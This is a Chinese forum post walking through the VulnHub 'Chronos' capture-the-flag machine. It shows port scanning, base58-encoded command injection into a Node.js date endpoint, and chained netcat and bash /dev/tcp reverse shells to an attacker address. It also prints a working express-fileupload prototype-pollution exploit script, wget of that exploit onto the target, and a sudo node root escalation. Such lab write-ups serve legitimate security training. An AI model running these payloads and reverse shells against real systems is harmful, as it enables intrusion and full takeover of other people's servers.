第六次打靶

打印 上一主题 下一主题

主题 792|帖子 792|积分 2376

靶机介绍

1)靶机地址:https://www.vulnhub.com/entry/chronos-1,735/
2)靶机难度:中(构思非常巧妙)
3)打靶目标: 取得 2 个 flag + root 权限
4)涉及攻击方法:端口扫描、WEB侦查、命令注入、数据编解码、搜索大法框架漏洞利用、代码审计、NC串联、本地提权
5)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
6)参考链接:
①https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
②https://blog.p6.is/Real-World-JS-1/
打靶过程

1)主机发现:本次使用netdiscover进行主机发现,该工具原理和arp-scan、arping原理一样,但命令使用格式不同。建议该工具扫描时在真实的子网掩码数-8,效果更好
  1. # netdiscover -r 192.168.56.0/16
复制代码

2)对发现的主机进行全端口扫描
  1. # nmap -p- 192.168.56.110
复制代码

3)对发现的端口进行服务版本等信息扫描
  1. # nmap -p22,80,8000 -sV 192.168.56.110
复制代码

8000端口开放了一个http服务,但是服务端使用了Node.js开发技术,并结合了Express框架
4)使用浏览器访问目标主机的80端口及8000端口
①访问80端口:打开后页面很简单
  1. 浏览器:http://192.168.56.110/
复制代码

注:当页面无法搜集到有用信息时,可以进行网站路径扫描(爬站),把隐藏路径或者隐藏文件爬取出来;另外也可以查看网页源代码(ctrl +U),查看有无隐藏的接口、脚本、表单等
②查看当前页面源码,未发现隐藏的url地址及页面资源,但是发现了一段脚本,包含在了script标签下
复制代码
③通过查看脚本代码发现,该脚本中包括函数名称和变量名称都是通过编码处理到,导致无法直接分析出代码的含义,此时对javascript代码进行还原美化及整理,可使用cyberchef在线工具,该工具可以针对各种计算机数据类型来做编码、解码、还原、解密等相关操作
A:工具地址:https://cyberchef.cn/
B:使用方法:左侧为模块名称,使用相应模块时,先进行搜索,将模块拖入Recipe后,在Input输入需要解码的代码及字符串。例如:此处使用针对javascript做代码美化的模块,对上述代码进行美化操作

④经过简单美化后的代码,虽然格式整齐了,但是因为函数名称等字符被编码,仍然无法正常读取,出于渗透高效的目的,将重点关注代码中比较容易识别或者一眼看起来就有问题的元素,本段代码中大部分内容都是通过编码处理的,都不太好读取,只有一段URL比较容易读取
  1. http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
  2. 分析:
  3.         chronos为靶机的名称
  4.         local代表本机
  5.         8000端口:通过前面端口扫描发现,在本机也开放了8000端口
  6.         此时可怀疑chronos.local这个域名可能指向了目标主机的IP地址,则有理由怀疑在当前页面加载的过程中,可能会去访问该URL地址,来获取某些页面资源,来放置到页面中
复制代码

⑤为解析上述域名,在hosts文件中进行解析
  1. # vi /etc/hosts
  2. 192.168.56.110 chronos.local
复制代码


⑥因域名已可正常解析,再次加载页面,查看页面或者源代码是否发送变化:可以发现已正常的显示出了资源
  1. 浏览器:http://192.168.56.110/
复制代码

⑦通过burp,在刷新页面时,将整个页面加载过程全部进行抓取,即访问了哪些地址,加载了哪些资源全部进行记录

⑧通过查看数据包发现,当修改format后的参数后,则无法返回正常的时间


⑨此时就需要对format后的字符进行转发,查看到底是什么内容。通过字符特点可怀疑是base64的编码,将该行字符在cybershef进行转码,此时使用magic模块,可以对其进行转码(magic模块表示当不知道字符是什么编码类型生成时,该模块可以进行简单分析)
  1. http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
  2.         编码后:4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
  3.         编码前:'+Today is %A, %B %d, %Y %H:%M:%S.'
复制代码

⑩对该明文进行分析,发现该明文是date命令的时间格式
  1. # date '+Today is %A, %B %d, %Y %H:%M:%S.'
复制代码

5)通过上述验证,可猜测该web应用程序在进行请求服务端数据时,服务端执行的就是该操作系统命令。既然执行了操作系统指令,是否可以通过命令注入的方式通过一些连接符(如|、 ||、 &&)向该变量中注入其他的系统命令
  1. ||   前面命令执行不成功,才会执行后面命令
  2. &&   前面命令执行正确,才会执行后面命令
复制代码

6)通过之前的URL可知,注入的命令也必须要通过base58编码,才能被目标系统所接受。所以此时要通过cyberchef 工具,将要注入的命令转化为base58编码后的字符
  1. Input: &&ls
  2. Output:5Jdixo4
复制代码

7)将编码后的字符,在数据包中进行提交:发现确实存在命令注入漏洞

8)在目标系统执行反弹shell的命令,此时使用nc工具进行反弹shell,因为nc命令使用广泛,很可能在目标主机默认就存在该工具
①查看主机是否具有nc工具
  1. 编码前:&& ls /bin
  2. 编码后:39JyvVr3FjbwAV
复制代码


查找发现,目标服务器确实存在nc命令
②测试nc命令是否可正常执行,该版本是否有-e参数
  1. 编码前:&& nc 192.168.56.103 4444
  2. 编码后:GMKWwmxeCKrzqcoDwLeaRS6LtNATnW7thR
复制代码

kali主机进行监听:
  1. # nc -lvvp 4444
复制代码
burp虽然返回了错误的信息,但是kali主机确显示连接成功,说明目标服务器上存在nc,而且nc是可以正常建立网络连接的


③确定该nc版本是否有-e参数进行连接
  1. 编码前:&& nc 192.168.56.103 4444 -e /bin/bash
  2. 编码后:6eK5JFNT7CahVhdM6iDKHY4Q4b7Knp1DuphZrm7gM2b6zDfbCQPR
复制代码



发送数据包后,发现并不能建立连接,说明该版本nc参数并不包含-e参数,所以只能够采用nc串联的方式进行连接
④通过nc串联的方式进行反弹shell
  1. 编码前:&& nc 192.168.56.103 4444 | /bin/bash |nc 192.168.56.103 5555
  2. 编码后:WqfXccLfYcuHA6xfwxPgwNU15RA9eAb3P97ZEaZqLpANPu4v7rLTaYetgKEGVY78ptWsqq8aWa4QkbmVpm2
复制代码


⑤kali进行监听:会话1输入的命令返回的数据就会显示在会话2
  1. 会话1:
  2.         # nc -lvvp 4444
  3. 会话2:
  4.         # nc -lvvp 5555
复制代码

9)反弹shell获取到的权限为www-data用户权限,对当前用户所处的主机进行大量信息搜集,查看是否有敏感目录,flag文件或者其他用户
①在用户文件中发现了imera用户
  1. cat /etc/passwd |grep /bin/bash
复制代码

②进入该用户的家目录发现了一个user.txt文件,但是无权限打开(只有imera用户才能对看文件进行读取)
  1. cd /home     
  2. ls
  3. cd imera
  4. ls
  5. cat user.txt
  6. ls -l
复制代码

③对当前用户进行提权:
A:基于内核漏洞进行提权,查看内核版本为4.15,针对该版本查到提权漏洞代码,并未发现可用的

B:查看是否具备SUID权限配置上的错误,也为发现任何的suid权限文件
  1. #find / -perm +4000 -user root -type f -print
  2. #find / -perm +4000 -user imera -type f -print  
复制代码
C:当前用户也无发现任何sudo权限
  1. #sudo -l
复制代码
10)发现无法提权以后,再次进行大量信息搜集(收集的信息越多,渗透思路越多),搜集发现在网站目录下存在js代码。此处是通过Node.js可进行服务端web程序开发
  1. cd /opt
  2. cd chronos
  3. ls
复制代码

基于Node.js开发出的应用程序,通常都是基于已有的框架库进行开发,完全使用Node.js开发应用程序难度较高,Node.js常用于开发web应用程序所使用的框架为Express框架(express是一款基于Node.js平台,快速、开放、极简的web开发框架)。在该靶机对web应用程序的源码进行代码审计
11)先查看package.json,因为几乎所有的基于Node.js开发出的项目中,根目录下都包含package.json文件,该文件一般定义了当前项目所需要的模块、框架等
  1. #cat package.json
复制代码

查看发现,该项目依赖了bs58库(即base58编码解码等)、cors库、express框架
12)查看app.js代码
  1. // created by alienum for Penetration Testing
  2. const express = require('express');
  3. const { exec } = require("child_process");
  4. const bs58 = require('bs58');
  5. const app = express();
  6. const port = 8000;
  7. const cors = require('cors');
  8. app.use(cors());
  9. app.get('/', (req,res) =>{
  10.   
  11.     res.sendFile("/var/www/html/index.html");
  12. });
  13. app.get('/date', (req, res) => {
  14.     var agent = req.headers['user-agent'];
  15.     var cmd = 'date ';
  16.     const format = req.query.format;
  17.     const bytes = bs58.decode(format);
  18.     var decoded = bytes.toString();
  19.     var concat = cmd.concat(decoded);
  20.     if (agent === 'Chronos') {
  21.         if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
  22.             res.send("Something went wrong");
  23.         }
  24.         exec(concat, (error, stdout, stderr) => {
  25.             if (error) {
  26.                 console.log(`error: ${error.message}`);
  27.                 return;
  28.             }
  29.             if (stderr) {
  30.                 console.log(`stderr: ${stderr}`);
  31.                 return;
  32.             }
  33.             res.send(stdout);
  34.         });
  35.     }
  36.     else{
  37.         res.send("Permission Denied");
  38.     }
  39. })
  40. app.listen(port,() => {
  41.     console.log(`Server running at ${port}`);
  42. })
复制代码
通过代码分析,发现开发者只是对常见的渗透测试命令进行了检测,但是并未阻断
13)继续通过信息搜集,发现在上级目录,即/opt目录下,存在另外一个应用程序chronos-v2,进入其后端目录backend后,继续查看package.json模块应用配置文件,发现该应用程序服务端主程序为server.js、通过node server.js进行启动这个web应用,ejs表示嵌入式的javascript模板,同样使用了express库,并且从express-fileupload库可猜测既然有文件上传功能,那是否可以通过文件上传,上传一个webshell

14)查看chronos-v2该应用程序服务端主程序源码:发现该应用程序启动在127.0.0.1:8000地址上,这也是为什么前面端口扫描时未发现8000端口开放原因。这个应用只监听在127.0.0.1上,即只有本机才能访问这个应用的8000端口
  1. #cat server.js
  2. const express = require('express');
  3. const fileupload = require("express-fileupload");
  4. const http = require('http')
  5. const app = express();
  6. app.use(fileupload({ parseNested: true }));
  7. app.set('view engine', 'ejs');
  8. app.set('views', "/opt/chronos-v2/frontend/pages");
  9. app.get('/', (req, res) => {
  10.    res.render('index')
  11. });
  12. const server = http.Server(app);
  13. const addr = "127.0.0.1"
  14. const port = 8080;
  15. server.listen(port, addr, () => {
  16.    console.log('Server listening on ' + addr + ' port ' + port);
  17. });
复制代码
15)通过搜索引擎发现,express-fileupload模块存在一个漏洞(原型污染漏洞,可致Web应用程序遭受DoS和远程Shell攻击)

在如下链接中找到了漏洞利用代码
①https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
②https://blog.p6.is/Real-World-JS-1/

16)根据实际情况,修改漏洞利用代码
  1. # cat exp.py
  2. import requests
  3. cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/7777 0>&1"'
  4. # pollute
  5. requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
  6.     None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
  7. # execute command
  8. requests.get('http://127.0.0.1:8080')
复制代码

17)将该漏洞利用代码传输到目标靶机进行运行
①kali主机开启http服务
  1. # python3 -m http.server 80
复制代码
②目标主机下载exp.py漏洞利用代码,并利用
  1. cd /tmp
  2. wget http://192.168.56.103/exp.py
  3. ls
  4. python3 exp.py
复制代码

③在kali监听7777端口
  1. # nc -lvvp 7777
复制代码

18)根据前期信息搜集,发现在imera用户的家目录之下存在一个user.txt的flag文件
  1. #cd /home/imera
  2. #ls
  3. #cat user.txt
复制代码

19)对当前imera用户进行提权,通过sudo -l 查看当前用户存在sudo权限:该用户可通过root用户,执行node命令
  1. $ sudo -l
复制代码

20)通过node命令进行提权,获取到root用户flag
  1. $ sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'
复制代码

总结:针对靶机先进行了主机发现、端口扫描、应用发现等基本操作,然后在web页面发现了奇怪的域名,于是进行了名的绑定,并在域名绑定后查看到了页面的变化,通过对页面源码的分析,找出了javascript的脚本,然后发现了经过base58编码的字符,通过对字符还原的分析,发现了命令注入漏洞,进而通过base58编码注入命令,对目标系统执行了命令注入,获得了一个基础的nc反弹shell。通过搜索找当了目标系统上应用的一个框架的漏洞,利用漏洞利用代码进行了利用,提权。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

农妇山泉一亩田

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表